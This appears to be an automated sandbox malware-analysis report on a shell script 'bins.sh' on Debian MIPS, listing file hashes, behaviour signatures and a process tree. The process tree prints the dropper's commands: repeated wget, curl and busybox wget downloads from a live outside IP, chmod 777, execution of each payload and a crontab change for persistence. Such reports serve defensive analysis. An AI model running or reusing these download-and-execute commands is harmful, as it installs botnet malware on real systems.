Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 18:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1bff584999b22d9de46e6deaafea9275

  • SHA1

    efd709e5f86dd46ec4ec77ba703a641fbbbc5b6c

  • SHA256

    4096659489b539ac00df12c2c960bb1c87cd7b1998118c549a4466cccb969e15

  • SHA512

    e50cd035449bac71d40281310f9e20c6f8fa30bc7b586b890918eb8481c6e1dca4853d3353e0c54d9674f7040941278b65c9969ff25bb74473ca756099d8f8cc

  • SSDEEP

    192:HImmkdESJRVe2tmuUUaTKamuUWJRVCmmkds:HImmkdESJRc2LaTKeJRkmmkds

Malware Config

Signatures

  • Contacts a large (1536) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:699
        • /usr/bin/wget
          wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          ./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            ./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
            • Executes dropped EXE
            PID:736
          • /bin/rm
            rm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq
            2⤵
              PID:738
            • /usr/bin/wget
              wget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:741
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod 777 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • File and Directory Permissions Modification
              PID:754
            • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              ./gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
              • Executes dropped EXE
              PID:755
            • /bin/rm
              rm gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:760
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/chmod
                chmod 777 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • File and Directory Permissions Modification
                PID:785
              • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                ./YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                • Executes dropped EXE
                PID:786
              • /bin/rm
                rm YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf
                2⤵
                  PID:791
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Writes file to tmp directory
                  PID:793
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /bin/chmod
                  chmod 777 qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • File and Directory Permissions Modification
                  PID:804
                • /tmp/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  ./qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                  • Executes dropped EXE
                  PID:805
                • /bin/rm
                  rm qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq
                  2⤵
                    PID:807
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Writes file to tmp directory
                    PID:809
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /bin/chmod
                    chmod 777 WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • File and Directory Permissions Modification
                    PID:811
                  • /tmp/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    ./WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:813
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:815
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:817
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:818
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:820
                        • /bin/rm
                          rm WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm
                          2⤵
                            PID:823
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                            2⤵
                              PID:911
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                              2⤵
                                PID:917
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                • Writes file to tmp directory
                                PID:919
                              • /bin/chmod
                                chmod 777 GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                • File and Directory Permissions Modification
                                PID:923
                              • /tmp/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                ./GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                • Executes dropped EXE
                                PID:924
                              • /bin/rm
                                rm GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2
                                2⤵
                                  PID:928
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/8mdOtnbKWUwkHiHuaOmrcATAbdii7XdrLP
                                  2⤵
                                    PID:929
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/8mdOtnbKWUwkHiHuaOmrcATAbdii7XdrLP
                                    2⤵
                                      PID:931

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV

                                    Filesize

                                    177KB

                                    MD5

                                    786d75a158fe731feca3880f436082c0

                                    SHA1

                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                    SHA256

                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                    SHA512

                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  • /tmp/GiSuP9Qs9BBrPuSRkFDJLhuOHiotARQBH2

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/WU72euJUFU0vKc1yjJCt8ZJ0UBUwtl8cTm

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /tmp/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /var/spool/cron/crontabs/tmp.pUSkMX

                                    Filesize

                                    210B

                                    MD5

                                    d3c7bc55641a9dfeffafa7645ddfd56c

                                    SHA1

                                    31efad2d8317c3bf71eba1a4a5a9227ede34676c

                                    SHA256

                                    0d2de0a414a13f9547cbf83b76c27abd4a4fdd3759014cb53684bc59edda1279

                                    SHA512

                                    79fffea6219b90a6ec9951911ce37045287daf42f03f2a60fdcee2fb15dca04d93ddbbef3ae0e0b06879f4752f223ff26d0c3d72de7c46fcfa0f75e2d0f13eb2